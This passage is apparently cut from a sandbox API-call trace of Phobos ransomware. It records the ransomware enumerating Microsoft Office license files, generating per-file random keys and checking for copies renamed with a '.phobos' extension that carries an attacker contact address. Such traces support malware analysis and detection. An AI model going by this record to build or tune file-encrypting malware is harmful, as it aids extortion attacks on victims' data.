Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 0x220 [0152.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.322] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.322] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11613) returned 1 [0152.322] CloseHandle (hObject=0x564) returned 1 [0152.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 0x220 [0152.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.323] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.323] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19958) returned 1 [0152.323] CloseHandle (hObject=0x564) returned 1 [0152.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 0x220 [0152.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.324] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.324] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10659) returned 1 [0152.324] CloseHandle (hObject=0x564) returned 1 [0152.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 0x220 [0152.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.325] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.325] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=22092) returned 1 [0152.325] CloseHandle (hObject=0x564) returned 1 [0152.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 0x220 [0152.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.326] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.326] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11613) returned 1 [0152.462] CloseHandle (hObject=0x564) returned 1 [0152.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 0x220 [0152.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.463] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.464] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11175) returned 1 [0152.464] CloseHandle (hObject=0x564) returned 1 [0152.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0152.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.464] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.465] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=26538) returned 1 [0152.465] CloseHandle (hObject=0x564) returned 1 [0152.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0152.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.466] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.467] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11623) returned 1 [0152.467] CloseHandle (hObject=0x564) returned 1 [0152.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0152.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.468] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.468] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=26459) returned 1 [0152.468] CloseHandle (hObject=0x564) returned 1 [0152.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 0x220 [0152.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.469] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.469] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11589) returned 1 [0152.470] CloseHandle (hObject=0x564) returned 1 [0152.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 0x220 [0152.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.470] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.470] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=12416) returned 1 [0152.471] CloseHandle (hObject=0x564) returned 1 [0152.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 0x220 [0152.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.471] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.472] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11621) returned 1 [0152.472] CloseHandle (hObject=0x564) returned 1 [0152.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 0x220 [0152.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.472] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.473] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=9613) returned 1 [0152.473] CloseHandle (hObject=0x564) returned 1 [0152.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 0x220 [0152.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.473] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.474] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10635) returned 1 [0152.474] CloseHandle (hObject=0x564) returned 1 [0152.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 0x220 [0152.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.474] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.475] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=26464) returned 1 [0152.475] CloseHandle (hObject=0x564) returned 1 [0152.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 0x220 [0152.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 